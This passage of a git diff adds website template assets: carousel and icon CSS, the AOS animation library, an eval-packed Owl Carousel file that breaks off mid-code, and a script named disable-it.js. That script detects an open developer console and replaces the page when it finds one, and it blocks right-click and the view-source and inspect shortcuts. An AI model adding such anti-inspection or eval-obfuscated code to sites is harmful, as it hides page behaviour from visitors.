ri-unlock:before{content:"\e987";}.mbri-up-down:before{content:"\e988";}.mbri-up:before{content:"\e989";}.mbri-update:before{content:"\e98a";}.mbri-upload:before{content:"\e98b";}.mbri-user:before{content:"\e98c";}.mbri-user2:before{content:"\e98d";}.mbri-users:before{content:"\e98e";}.mbri-video-play:before{content:"\e98f";}.mbri-video:before{content:"\e990";}.mbri-watch:before{content:"\e991";}.mbri-website-theme:before{content:"\e992";}.mbri-wifi:before{content:"\e993";}.mbri-windows:before{content:"\e994";}.mbri-zoom-out:before{content:"\e995";} \ No newline at end of file diff --git a/template/index7/assets/css/owl.theme.css b/template/index7/assets/css/owl.theme.css new file mode 100644 index 0000000..a6cbce8 --- /dev/null +++ b/template/index7/assets/css/owl.theme.css @@ -0,0 +1 @@ +.owl-theme .owl-controls{margin-top:10px;text-align:center;}.owl-theme .owl-controls .owl-buttons div{color:#FFF;display:inline-block;zoom:1;*display:inline;margin:5px;padding:3px 10px;font-size:12px;-webkit-border-radius:30px;-moz-border-radius:30px;border-radius:30px;background:#869791;filter:Alpha(Opacity=50);opacity:0.5;}.owl-theme .owl-controls.clickable .owl-buttons div:hover{filter:Alpha(Opacity=100);opacity:1;text-decoration:none;}.owl-theme .owl-controls .owl-page{display:inline-block;zoom:1;*display:inline;}.owl-theme .owl-controls .owl-page span{display:block;width:12px;height:12px;margin:5px 7px;filter:Alpha(Opacity=50);opacity:0.5;-webkit-border-radius:20px;-moz-border-radius:20px;border-radius:20px;background:#869791;}.owl-theme .owl-controls .owl-page.active span,.owl-theme .owl-controls.clickable .owl-page:hover span{filter:Alpha(Opacity=100);opacity:1;}.owl-theme .owl-controls .owl-page span.owl-numbers{height:auto;width:auto;color:#FFF;padding:2px 10px;font-size:12px;-webkit-border-radius:30px;-moz-border-radius:30px;border-radius:30px;}.owl-item.loading{min-height:150px;background:url(AjaxLoader.gif) no-repeat center center}.owl-carousel .owl-wrapper:after{content:".";display:block;clear:both;visibility:hidden;line-height:0;height:0;}.owl-carousel{display:none;position:relative;width:100%;-ms-touch-action:pan-y;}.owl-carousel .owl-wrapper{display:none;position:relative;-webkit-transform:translate3d(0px,0px,0px);}.owl-carousel .owl-wrapper-outer{overflow:hidden;position:relative;width:100%;}.owl-carousel .owl-wrapper-outer.autoHeight{-webkit-transition:height 500ms ease-in-out;-moz-transition:height 500ms ease-in-out;-ms-transition:height 500ms ease-in-out;-o-transition:height 500ms ease-in-out;transition:height 500ms ease-in-out;}.owl-carousel .owl-item{float:left;}.owl-controls .owl-page,.owl-controls .owl-buttons div{cursor:pointer;}.owl-controls{-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;-webkit-tap-highlight-color:rgba(0,0,0,0);}.owl-carousel .owl-wrapper,.owl-carousel .owl-item{-webkit-backface-visibility:hidden;-moz-backface-visibility:hidden;-ms-backface-visibility:hidden;-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0);}.owl-origin{-webkit-perspective:1200px;-webkit-perspective-origin-x:50%;-webkit-perspective-origin-y:50%;-moz-perspective:1200px;-moz-perspective-origin-x:50%;-moz-perspective-origin-y:50%;perspective:1200px;}.owl-fade-out{z-index:10;-webkit-animation:fadeOut .7s both ease;-moz-animation:fadeOut .7s both ease;animation:fadeOut .7s both ease;}.owl-fade-in{-webkit-animation:fadeIn .7s both ease;-moz-animation:fadeIn .7s both ease;animation:fadeIn .7s both ease;}.owl-backSlide-out{-webkit-animation:backSlideOut 1s both ease;-moz-animation:backSlideOut 1s both ease;animation:backSlideOut 1s both ease;}.owl-backSlide-in{-webkit-animation:backSlideIn 1s both ease;-moz-animation:backSlideIn 1s both ease;animation:backSlideIn 1s both ease;}.owl-goDown-out{-webkit-animation:scaleToFade .7s ease both;-moz-animation:scaleToFade .7s ease both;animation:scaleToFade .7s ease both;}.owl-goDown-in{-webkit-animation:goDown .6s ease both;-moz-animation:goDown .6s ease both;animation:goDown .6s ease both;}.owl-fadeUp-in{-webkit-animation:scaleUpFrom .5s ease both;-moz-animation:scaleUpFrom .5s ease both;animation:scaleUpFrom .5s ease both;}.owl-fadeUp-out{-webkit-animation:scaleUpTo .5s ease both;-moz-animation:scaleUpTo .5s ease both;animation:scaleUpTo .5s ease both;}@-webkit-keyframes empty{0%{opacity:1}}@-moz-keyframes empty{0%{opacity:1}}@keyframes empty{0%{opacity:1}}@-webkit-keyframes fadeIn{0%{opacity:0;}100%{opacity:1;}}@-moz-keyframes fadeIn{0%{opacity:0;}100%{opacity:1;}}@keyframes fadeIn{0%{opacity:0;}100%{opacity:1;}}@-webkit-keyframes fadeOut{0%{opacity:1;}100%{opacity:0;}}@-moz-keyframes fadeOut{0%{opacity:1;}100%{opacity:0;}}@keyframes fadeOut{0%{opacity:1;}100%{opacity:0;}}@-webkit-keyframes backSlideOut{25%{opacity:.5;-webkit-transform:translateZ(-500px);}75%{opacity:.5;-webkit-transform:translateZ(-500px) translateX(-200%);}100%{opacity:.5;-webkit-transform:translateZ(-500px) translateX(-200%);}}@-moz-keyframes backSlideOut{25%{opacity:.5;-moz-transform:translateZ(-500px);}75%{opacity:.5;-moz-transform:translateZ(-500px) translateX(-200%);}100%{opacity:.5;-moz-transform:translateZ(-500px) translateX(-200%);}}@keyframes backSlideOut{25%{opacity:.5;transform:translateZ(-500px);}75%{opacity:.5;transform:translateZ(-500px) translateX(-200%);}100%{opacity:.5;transform:translateZ(-500px) translateX(-200%);}}@-webkit-keyframes backSlideIn{0%,25%{opacity:.5;-webkit-transform:translateZ(-500px) translateX(200%);}75%{opacity:.5;-webkit-transform:translateZ(-500px);}100%{opacity:1;-webkit-transform:translateZ(0) translateX(0);}}@-moz-keyframes backSlideIn{0%,25%{opacity:.5;-moz-transform:translateZ(-500px) translateX(200%);}75%{opacity:.5;-moz-transform:translateZ(-500px);}100%{opacity:1;-moz-transform:translateZ(0) translateX(0);}}@keyframes backSlideIn{0%,25%{opacity:.5;transform:translateZ(-500px) translateX(200%);}75%{opacity:.5;transform:translateZ(-500px);}100%{opacity:1;transform:translateZ(0) translateX(0);}}@-webkit-keyframes scaleToFade{to{opacity:0;-webkit-transform:scale(.8);}}@-moz-keyframes scaleToFade{to{opacity:0;-moz-transform:scale(.8);}}@keyframes scaleToFade{to{opacity:0;transform:scale(.8);}}@-webkit-keyframes goDown{from{-webkit-transform:translateY(-100%);}}@-moz-keyframes goDown{from{-moz-transform:translateY(-100%);}}@keyframes goDown{from{transform:translateY(-100%);}}@-webkit-keyframes scaleUpFrom{from{opacity:0;-webkit-transform:scale(1.5);}}@-moz-keyframes scaleUpFrom{from{opacity:0;-moz-transform:scale(1.5);}}@keyframes scaleUpFrom{from{opacity:0;transform:scale(1.5);}}@-webkit-keyframes scaleUpTo{to{opacity:0;-webkit-transform:scale(1.5);}}@-moz-keyframes scaleUpTo{to{opacity:0;-moz-transform:scale(1.5);}}@keyframes scaleUpTo{to{opacity:0;transform:scale(1.5);}} \ No newline at end of file diff --git a/template/index7/assets/fonts/mobirise.ttf b/template/index7/assets/fonts/mobirise.ttf new file mode 100644 index 0000000..9e1b3ed Binary files /dev/null and b/template/index7/assets/fonts/mobirise.ttf differ diff --git a/template/index7/assets/images/info1.png b/template/index7/assets/images/info1.png new file mode 100644 index 0000000..d65c7cc Binary files /dev/null and b/template/index7/assets/images/info1.png differ diff --git a/template/index7/assets/images/info2.png b/template/index7/assets/images/info2.png new file mode 100644 index 0000000..44f1675 Binary files /dev/null and b/template/index7/assets/images/info2.png differ diff --git a/template/index7/assets/images/info3.png b/template/index7/assets/images/info3.png new file mode 100644 index 0000000..8916046 Binary files /dev/null and b/template/index7/assets/images/info3.png differ diff --git a/template/index7/assets/images/main_bg.jpg b/template/index7/assets/images/main_bg.jpg new file mode 100644 index 0000000..dba7654 Binary files /dev/null and b/template/index7/assets/images/main_bg.jpg differ diff --git a/template/index7/assets/js/aos.js b/template/index7/assets/js/aos.js new file mode 100644 index 0000000..31e78bb --- /dev/null +++ b/template/index7/assets/js/aos.js @@ -0,0 +1 @@ +!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.AOS=t():e.AOS=t()}(this,function(){return function(e){function t(n){if(o[n])return o[n].exports;var i=o[n]={exports:{},id:n,loaded:!1};return e[n].call(i.exports,i,i.exports,t),i.loaded=!0,i.exports}var o={};return t.m=e,t.c=o,t.p="dist/",t(0)}([function(e,t,o){"use strict";function n(e){return e&&e.__esModule?e:{"default":e}}var i=Object.assign||function(e){for(var t=1;t-1?O(!0):"load"===j.startEvent?window.addEventListener(j.startEvent,function(){O(!0)}):document.addEventListener(j.startEvent,function(){O(!0)}),window.addEventListener("resize",(0,s["default"])(O,50,!0)),window.addEventListener("orientationchange",(0,s["default"])(O,50,!0)),window.addEventListener("scroll",(0,c["default"])(function(){(0,b["default"])(h,j.once)},99)),document.addEventListener("DOMNodeRemoved",function(e){var t=e.target;t&&1===t.nodeType&&t.hasAttribute&&t.hasAttribute("data-aos")&&(0,s["default"])(_,50,!0)}),(0,f["default"])("[data-aos]",_),h)};e.exports={init:E,refresh:O,refreshHard:_}},function(e,t){},,,,function(e,t,o){"use strict";function n(e,t,o){var n=!0,a=!0;if("function"!=typeof e)throw new TypeError(c);return i(o)&&(n="leading"in o?!!o.leading:n,a="trailing"in o?!!o.trailing:a),r(e,t,{leading:n,maxWait:t,trailing:a})}function i(e){var t="undefined"==typeof e?"undefined":a(e);return!!e&&("object"==t||"function"==t)}var a="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol?"symbol":typeof e},r=o(6),c="Expected a function";e.exports=n},function(e,t){"use strict";function o(e,t,o){function n(t){var o=b,n=v;return b=v=void 0,O=t,y=e.apply(n,o)}function a(e){return O=e,w=setTimeout(d,t),_?n(e):y}function r(e){var o=e-h,n=e-O,i=t-o;return z?x(i,g-n):i}function u(e){var o=e-h,n=e-O;return!h||o>=t||0>o||z&&n>=g}function d(){var e=j();return u(e)?f(e):void(w=setTimeout(d,r(e)))}function f(e){return clearTimeout(w),w=void 0,A&&b?n(e):(b=v=void 0,y)}function l(){void 0!==w&&clearTimeout(w),h=O=0,b=v=w=void 0}function m(){return void 0===w?y:f(j())}function p(){var e=j(),o=u(e);if(b=arguments,v=this,h=e,o){if(void 0===w)return a(h);if(z)return clearTimeout(w),w=setTimeout(d,t),n(h)}return void 0===w&&(w=setTimeout(d,t)),y}var b,v,g,y,w,h=0,O=0,_=!1,z=!1,A=!0;if("function"!=typeof e)throw new TypeError(s);return t=c(t)||0,i(o)&&(_=!!o.leading,z="maxWait"in o,g=z?k(c(o.maxWait)||0,t):g,A="trailing"in o?!!o.trailing:A),p.cancel=l,p.flush=m,p}function n(e){var t=i(e)?h.call(e):"";return t==f||t==l}function i(e){var t="undefined"==typeof e?"undefined":u(e);return!!e&&("object"==t||"function"==t)}function a(e){return!!e&&"object"==("undefined"==typeof e?"undefined":u(e))}function r(e){return"symbol"==("undefined"==typeof e?"undefined":u(e))||a(e)&&h.call(e)==m}function c(e){if("number"==typeof e)return e;if(r(e))return d;if(i(e)){var t=n(e.valueOf)?e.valueOf():e;e=i(t)?t+"":t}if("string"!=typeof e)return 0===e?e:+e;e=e.replace(p,"");var o=v.test(e);return o||g.test(e)?y(e.slice(2),o?2:8):b.test(e)?d:+e}var u="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol?"symbol":typeof e},s="Expected a function",d=NaN,f="[object Function]",l="[object GeneratorFunction]",m="[object Symbol]",p=/^\s+|\s+$/g,b=/^[-+]0x[0-9a-f]+$/i,v=/^0b[01]+$/i,g=/^0o[0-7]+$/i,y=parseInt,w=Object.prototype,h=w.toString,k=Math.max,x=Math.min,j=Date.now;e.exports=o},function(e,t){"use strict";function o(e,t){r.push({selector:e,fn:t}),!c&&a&&(c=new a(n),c.observe(i.documentElement,{childList:!0,subtree:!0,removedNodes:!0})),n()}function n(){for(var e,t,o=0,n=r.length;n>o;o++){e=r[o],t=i.querySelectorAll(e.selector);for(var a,c=0,u=t.length;u>c;c++)a=t[c],a.ready||(a.ready=!0,e.fn.call(a,a))}}Object.defineProperty(t,"__esModule",{value:!0});var i=window.document,a=window.MutationObserver||window.WebKitMutationObserver,r=[],c=void 0;t["default"]=o},function(e,t){"use strict";function o(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}Object.defineProperty(t,"__esModule",{value:!0});var n=function(){function e(e,t){for(var o=0;oe.position?e.node.classList.add("aos-animate"):"undefined"!=typeof n&&("false"===n||!o&&"true"!==n)&&e.node.classList.remove("aos-animate")},n=function(e,t){var n=window.pageYOffset,i=window.innerHeight;e.forEach(function(e,a){o(e,i+n,t)})};t["default"]=n},function(e,t,o){"use strict";function n(e){return e&&e.__esModule?e:{"default":e}}Object.defineProperty(t,"__esModule",{value:!0});var i=o(11),a=n(i),r=function(e,t){return e.forEach(function(e,o){e.node.classList.add("aos-init"),e.position=(0,a["default"])(e.node,t.offset)}),e};t["default"]=r},function(e,t,o){"use strict";function n(e){return e&&e.__esModule?e:{"default":e}}Object.defineProperty(t,"__esModule",{value:!0});var i=o(12),a=n(i),r=function(e,t){var o=0,n=0,i=window.innerHeight,r={offset:e.getAttribute("data-aos-offset"),anchor:e.getAttribute("data-aos-anchor"),anchorPlacement:e.getAttribute("data-aos-anchor-placement")};switch(r.offset&&!isNaN(r.offset)&&(n=parseInt(r.offset)),r.anchor&&document.querySelectorAll(r.anchor)&&(e=document.querySelectorAll(r.anchor)[0]),o=(0,a["default"])(e).top,r.anchorPlacement){case"top-bottom":break;case"center-bottom":o+=e.offsetHeight/2;break;case"bottom-bottom":o+=e.offsetHeight;break;case"top-center":o+=i/2;break;case"bottom-center":o+=i/2+e.offsetHeight;break;case"center-center":o+=i/2+e.offsetHeight/2;break;case"top-top":o+=i;break;case"bottom-top":o+=e.offsetHeight+i;break;case"center-top":o+=e.offsetHeight/2+i}return r.anchorPlacement||r.offset||isNaN(t)||(n=t),o+n};t["default"]=r},function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var o=function(e){for(var t=0,o=0;e&&!isNaN(e.offsetLeft)&&!isNaN(e.offsetTop);)t+=e.offsetLeft-("BODY"!=e.tagName?e.scrollLeft:0),o+=e.offsetTop-("BODY"!=e.tagName?e.scrollTop:0),e=e.offsetParent;return{top:o,left:t}};t["default"]=o},function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var o=function(e){e=e||document.querySelectorAll("[data-aos]");var t=[];return[].forEach.call(e,function(e,o){t.push({node:e})}),t};t["default"]=o}])}); \ No newline at end of file diff --git a/template/index7/assets/js/disable-it.js b/template/index7/assets/js/disable-it.js new file mode 100644 index 0000000..55120f8 --- /dev/null +++ b/template/index7/assets/js/disable-it.js @@ -0,0 +1 @@ +(function(){'use strict';var devtools={open:false,orientation:null};var threshold=160;var emitEvent=function(state,orientation){window.dispatchEvent(new CustomEvent('devtoolschange',{detail:{open:state,orientation:orientation}}))};setInterval(function(){var widthThreshold=window.outerWidth-window.innerWidth>threshold;var heightThreshold=window.outerHeight-window.innerHeight>threshold;var orientation=widthThreshold?'vertical':'horizontal';if(!(heightThreshold&&widthThreshold)&&((window.Firebug&&window.Firebug.chrome&&window.Firebug.chrome.isInitialized)||widthThreshold||heightThreshold)){if(!devtools.open||devtools.orientation!==orientation){emitEvent(true,orientation)}devtools.open=true;devtools.orientation=orientation}else{if(devtools.open){emitEvent(false,null)}devtools.open=false;devtools.orientation=null}},500);if(typeof module!=='undefined'&&module.exports){module.exports=devtools}else{window.devtools=devtools}})();if(window.devtools.open)actionOnOpenDevtool();window.addEventListener('devtoolschange',function(e){if(e.detail.open)actionOnOpenDevtool()});function actionOnOpenDevtool(){var span=$('Close developer console and refresh page');$("html").replaceWith(span)}$(document).bind("contextmenu",function(e){return false});$(document).keydown(function(e){if(e.which===123){return false}if(e.ctrlKey&&(e.keyCode===85)){return false}if(e.ctrlKey&&e.shiftKey&&(e.keyCode===74||e.keyCode===73)){return false}}); \ No newline at end of file diff --git a/template/index7/assets/js/owl.carousel.min.js b/template/index7/assets/js/owl.carousel.min.js new file mode 100644 index 0000000..b87df33 --- /dev/null +++ b/template/index7/assets/js/owl.carousel.min.js @@ -0,0 +1 @@ +eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('7(A 3c.3q!=="9"){3c.3q=9(e){9 t(){}t.5S=e;p 5R t}}(9(e,t,n){h r={1N:9(t,n){h r=c;r.$k=e(n);r.6=e.4M({},e.37.2B.6,r.$k.v(),t);r.2A=t;r.4L()},4L:9(){9 r(e){h n,r="";7(A t.6.33==="9"){t.6.33.R(c,[e])}l{1A(n 38 e.d){7(e.d.5M(n)){r+=e.d[n].1K}}t.$k.2y(r)}t.3t()}h t=c,n;7(A t.6.2H==="9"){t.6.2H.R(c,[t.$k])}7(A t.6.2O==="2Y"){n=t.6.2O;e.5K(n,r)}l{t.3t()}},3t:9(){h e=c;e.$k.v("d-4I",e.$k.2x("2w")).v("d-4F",e.$k.2x("H"));e.$k.z({2u:0});e.2t=e.6.q;e.4E();e.5v=0;e.1X=14;e.23()},23:9(){h e=c;7(e.$k.25().N===0){p b}e.1M();e.4C();e.$S=e.$k.25();e.E=e.$S.N;e.4B();e.$G=e.$k.17(".d-1K");e.$K=e.$k.17(".d-1p");e.3u="U";e.13=0;e.26=[0];e.m=0;e.4A();e.4z()},4z:9(){h e=c;e.2V();e.2W();e.4t();e.30();e.4r();e.4q();e.2p();e.4o();7(e.6.2o!==b){e.4n(e.6.2o)}7(e.6.O===j){e.6.O=4Q}e.19();e.$k.17(".d-1p").z("4i","4h");7(!e.$k.2m(":3n")){e.3o()}l{e.$k.z("2u",1)}e.5O=b;e.2l();7(A e.6.3s==="9"){e.6.3s.R(c,[e.$k])}},2l:9(){h e=c;7(e.6.1Z===j){e.1Z()}7(e.6.1B===j){e.1B()}e.4g();7(A e.6.3w==="9"){e.6.3w.R(c,[e.$k])}},3x:9(){h e=c;7(A e.6.3B==="9"){e.6.3B.R(c,[e.$k])}e.3o();e.2V();e.2W();e.4f();e.30();e.2l();7(A e.6.3D==="9"){e.6.3D.R(c,[e.$k])}},3F:9(){h e=c;t.1c(9(){e.3x()},0)},3o:9(){h e=c;7(e.$k.2m(":3n")===b){e.$k.z({2u:0});t.18(e.1C);t.18(e.1X)}l{p b}e.1X=t.4d(9(){7(e.$k.2m(":3n")){e.3F();e.$k.4b({2u:1},2M);t.18(e.1X)}},5x)},4B:9(){h e=c;e.$S.5n(\'\').4a(\'\');e.$k.17(".d-1p").4a(\'\');e.1H=e.$k.17(".d-1p-49");e.$k.z("4i","4h")},1M:9(){h e=c,t=e.$k.1I(e.6.1M),n=e.$k.1I(e.6.2i);7(!t){e.$k.I(e.6.1M)}7(!n){e.$k.I(e.6.2i)}},2V:9(){h t=c,n,r;7(t.6.2Z===b){p b}7(t.6.48===j){t.6.q=t.2t=1;t.6.1h=b;t.6.1s=b;t.6.1O=b;t.6.22=b;t.6.1Q=b;t.6.1R=b;p b}n=e(t.6.47).1f();7(n>(t.6.1s[0]||t.2t)){t.6.q=t.2t}7(t.6.1h!==b){t.6.1h.5g(9(e,t){p e[0]-t[0]});1A(r=0;rt.E&&t.6.46===j){t.6.q=t.E}},4r:9(){h n=c,r,i;7(n.6.2Z!==j){p b}i=e(t).1f();n.3d=9(){7(e(t).1f()!==i){7(n.6.O!==b){t.18(n.1C)}t.5d(r);r=t.1c(9(){i=e(t).1f();n.3x()},n.6.45)}};e(t).44(n.3d)},4f:9(){h e=c;e.2g(e.m);7(e.6.O!==b){e.3j()}},43:9(){h t=c,n=0,r=t.E-t.6.q;t.$G.2f(9(i){h s=e(c);s.z({1f:t.M}).v("d-1K",3p(i));7(i%t.6.q===0||i===r){7(!(i>r)){n+=1}}s.v("d-24",n)})},42:9(){h e=c,t=e.$G.N*e.M;e.$K.z({1f:t*2,T:0});e.43()},2W:9(){h e=c;e.40();e.42();e.3Z();e.3v()},40:9(){h e=c;e.M=1F.4O(e.$k.1f()/e.6.q)},3v:9(){h e=c,t=(e.E*e.M-e.6.q*e.M)*-1;7(e.6.q>e.E){e.D=0;t=0;e.3z=0}l{e.D=e.E-e.6.q;e.3z=t}p t},3Y:9(){p 0},3Z:9(){h t=c,n=0,r=0,i,s,o;t.J=[0];t.3E=[];1A(i=0;i\').5m("5l",!t.F.15).5c(t.$k)}7(t.6.1v===j){t.3T()}7(t.6.2a===j){t.3S()}},3S:9(){h t=c,n=e(\'\');t.B.1o(n);t.1u=e("",{"H":"d-1n",2y:t.6.2U[0]||""});t.1q=e("",{"H":"d-U",2y:t.6.2U[1]||""});n.1o(t.1u).1o(t.1q);n.w("2X.B 21.B",\'L[H^="d"]\',9(e){e.1l()});n.w("2n.B 28.B",\'L[H^="d"]\',9(n){n.1l();7(e(c).1I("d-U")){t.U()}l{t.1n()}})},3T:9(){h t=c;t.1k=e(\'\');t.B.1o(t.1k);t.1k.w("2n.B 28.B",".d-1j",9(n){n.1l();7(3p(e(c).v("d-1j"))!==t.m){t.1g(3p(e(c).v("d-1j")),j)}})},3P:9(){h t=c,n,r,i,s,o,u;7(t.6.1v===b){p b}t.1k.2y("");n=0;r=t.E-t.E%t.6.q;1A(s=0;s",{"H":"d-1j"});u=e("<3N>",{4R:t.6.39===j?n:"","H":t.6.39===j?"d-59":""});o.1o(u);o.v("d-1j",r===s?i:s);o.v("d-24",n);t.1k.1o(o)}}t.35()},35:9(){h t=c;7(t.6.1v===b){p b}t.1k.17(".d-1j").2f(9(){7(e(c).v("d-24")===e(t.$G[t.m]).v("d-24")){t.1k.17(".d-1j").Z("2d");e(c).I("2d")}})},3e:9(){h e=c;7(e.6.2a===b){p b}7(e.6.2e===b){7(e.m===0&&e.D===0){e.1u.I("1b");e.1q.I("1b")}l 7(e.m===0&&e.D!==0){e.1u.I("1b");e.1q.Z("1b")}l 7(e.m===e.D){e.1u.Z("1b");e.1q.I("1b")}l 7(e.m!==0&&e.m!==e.D){e.1u.Z("1b");e.1q.Z("1b")}}},30:9(){h e=c;e.3P();e.3e();7(e.B){7(e.6.q>=e.E){e.B.3K()}l{e.B.3J()}}},55:9(){h e=c;7(e.B){e.B.3k()}},U:9(e){h t=c;7(t.1E){p b}t.m+=t.6.12===j?t.6.q:1;7(t.m>t.D+(t.6.12===j?t.6.q-1:0)){7(t.6.2e===j){t.m=0;e="2k"}l{t.m=t.D;p b}}t.1g(t.m,e)},1n:9(e){h t=c;7(t.1E){p b}7(t.6.12===j&&t.m>0&&t.m=i.D){e=i.D}l 7(e<=0){e=0}i.m=i.d.m=e;7(i.6.2o!==b&&r!=="4e"&&i.6.q===1&&i.F.1x===j){i.1t(0);7(i.F.1x===j){i.1L(i.J[e])}l{i.1r(i.J[e],1)}i.2r();i.4l();p b}s=i.J[e];7(i.F.1x===j){i.1T=b;7(n===j){i.1t("1w");t.1c(9(){i.1T=j},i.6.1w)}l 7(n==="2k"){i.1t(i.6.2v);t.1c(9(){i.1T=j},i.6.2v)}l{i.1t("1m");t.1c(9(){i.1T=j},i.6.1m)}i.1L(s)}l{7(n===j){i.1r(s,i.6.1w)}l 7(n==="2k"){i.1r(s,i.6.2v)}l{i.1r(s,i.6.1m)}}i.2r()},2g:9(e){h t=c;7(A t.6.1Y==="9"){t.6.1Y.R(c,[t.$k])}7(e>=t.D||e===-1){e=t.D}l 7(e<=0){e=0}t.1t(0);7(t.F.1x===j){t.1L(t.J[e])}l{t.1r(t.J[e],1)}t.m=t.d.m=e;t.2r()},2r:9(){h e=c;e.26.2D(e.m);e.13=e.d.13=e.26[e.26.N-2];e.26.5f(0);7(e.13!==e.m){e.35();e.3e();e.2l();7(e.6.O!==b){e.3j()}}7(A e.6.3y==="9"&&e.13!==e.m){e.6.3y.R(c,[e.$k])}},X:9(){h e=c;e.3A="X";t.18(e.1C)},3j:9(){h e=c;7(e.3A!=="X"){e.19()}},19:9(){h e=c;e.3A="19";7(e.6.O===b){p b}t.18(e.1C);e.1C=t.4d(9(){e.U(j)},e.6.O)},1t:9(e){h t=c;7(e==="1m"){t.$K.z(t.2z(t.6.1m))}l 7(e==="1w"){t.$K.z(t.2z(t.6.1w))}l 7(A e!=="2Y"){t.$K.z(t.2z(e))}},2z:9(e){p{"-1G-1a":"2C "+e+"1z 2s","-1W-1a":"2C "+e+"1z 2s","-o-1a":"2C "+e+"1z 2s",1a:"2C "+e+"1z 2s"}},3H:9(){p{"-1G-1a":"","-1W-1a":"","-o-1a":"",1a:""}},3I:9(e){p{"-1G-P":"1i("+e+"V, C, C)","-1W-P":"1i("+e+"V, C, C)","-o-P":"1i("+e+"V, C, C)","-1z-P":"1i("+e+"V, C, C)",P:"1i("+e+"V, C,C)"}},1L:9(e){h t=c;t.$K.z(t.3I(e))},3L:9(e){h t=c;t.$K.z({T:e})},1r:9(e,t){h n=c;n.29=b;n.$K.X(j,j).4b({T:e},{54:t||n.6.1m,3M:9(){n.29=j}})},4E:9(){h e=c,r="1i(C, C, C)",i=n.56("L"),s,o,u,a;i.2w.3O=" -1W-P:"+r+"; -1z-P:"+r+"; -o-P:"+r+"; -1G-P:"+r+"; P:"+r;s=/1i\\(C, C, C\\)/g;o=i.2w.3O.5i(s);u=o!==14&&o.N===1;a="5z"38 t||t.5Q.4P;e.F={1x:u,15:a}},4q:9(){h e=c;7(e.6.27!==b||e.6.1U!==b){e.3Q();e.3R()}},4C:9(){h e=c,t=["s","e","x"];e.16={};7(e.6.27===j&&e.6.1U===j){t=["2X.d 21.d","2N.d 3U.d","2n.d 3V.d 28.d"]}l 7(e.6.27===b&&e.6.1U===j){t=["2X.d","2N.d","2n.d 3V.d"]}l 7(e.6.27===j&&e.6.1U===b){t=["21.d","3U.d","28.d"]}e.16.3W=t[0];e.16.2K=t[1];e.16.2J=t[2]},3R:9(){h t=c;t.$k.w("5y.d",9(e){e.1l()});t.$k.w("21.3X",9(t){p e(t.1d).2m("5C, 5E, 5F, 5N")})},3Q:9(){9 s(e){7(e.2b!==W){p{x:e.2b[0].2c,y:e.2b[0].41}}7(e.2b===W){7(e.2c!==W){p{x:e.2c,y:e.41}}7(e.2c===W){p{x:e.52,y:e.53}}}}9 o(t){7(t==="w"){e(n).w(r.16.2K,a);e(n).w(r.16.2J,f)}l 7(t==="Q"){e(n).Q(r.16.2K);e(n).Q(r.16.2J)}}9 u(n){h u=n.3h||n||t.3g,a;7(u.5a===3){p b}7(r.E<=r.6.q){p}7(r.29===b&&!r.6.3f){p b}7(r.1T===b&&!r.6.3f){p b}7(r.6.O!==b){t.18(r.1C)}7(r.F.15!==j&&!r.$K.1I("3b")){r.$K.I("3b")}r.11=0;r.Y=0;e(c).z(r.3H());a=e(c).2h();i.2S=a.T;i.2R=s(u).x-a.T;i.2P=s(u).y-a.5o;o("w");i.2j=b;i.2L=u.1d||u.4c}9 a(o){h u=o.3h||o||t.3g,a,f;r.11=s(u).x-i.2R;r.2I=s(u).y-i.2P;r.Y=r.11-i.2S;7(A r.6.2E==="9"&&i.3C!==j&&r.Y!==0){i.3C=j;r.6.2E.R(r,[r.$k])}7((r.Y>8||r.Y<-8)&&r.F.15===j){7(u.1l!==W){u.1l()}l{u.5L=b}i.2j=j}7((r.2I>10||r.2I<-10)&&i.2j===b){e(n).Q("2N.d")}a=9(){p r.Y/5};f=9(){p r.3z+r.Y/5};r.11=1F.3v(1F.3Y(r.11,a()),f());7(r.F.1x===j){r.1L(r.11)}l{r.3L(r.11)}}9 f(n){h s=n.3h||n||t.3g,u,a,f;s.1d=s.1d||s.4c;i.3C=b;7(r.F.15!==j){r.$K.Z("3b")}7(r.Y<0){r.1y=r.d.1y="T"}l{r.1y=r.d.1y="3i"}7(r.Y!==0){u=r.4j();r.1g(u,b,"4e");7(i.2L===s.1d&&r.F.15!==j){e(s.1d).w("3a.4k",9(t){t.4S();t.4T();t.1l();e(t.1d).Q("3a.4k")});a=e.4N(s.1d,"4V").3a;f=a.4W();a.4X(0,0,f)}}o("Q")}h r=c,i={2R:0,2P:0,4Y:0,2S:0,2h:14,4Z:14,50:14,2j:14,51:14,2L:14};r.29=j;r.$k.w(r.16.3W,".d-1p",u)},4j:9(){h e=c,t=e.4m();7(t>e.D){e.m=e.D;t=e.D}l 7(e.11>=0){t=0;e.m=0}p t},4m:9(){h t=c,n=t.6.12===j?t.3E:t.J,r=t.11,i=14;e.2f(n,9(s,o){7(r-t.M/20>n[s+1]&&r-t.M/20(n[s+1]||n[s]-t.M)&&t.34()==="3i"){7(t.6.12===j){i=n[s+1]||n[n.N-1];t.m=e.4p(i,t.J)}l{i=n[s+1];t.m=s+1}}});p t.m},34:9(){h e=c,t;7(e.Y<0){t="3i";e.3u="U"}l{t="T";e.3u="1n"}p t},4A:9(){h e=c;e.$k.w("d.U",9(){e.U()});e.$k.w("d.1n",9(){e.1n()});e.$k.w("d.19",9(t,n){e.6.O=n;e.19();e.32="19"});e.$k.w("d.X",9(){e.X();e.32="X"});e.$k.w("d.1g",9(t,n){e.1g(n)});e.$k.w("d.2g",9(t,n){e.2g(n)})},2p:9(){h 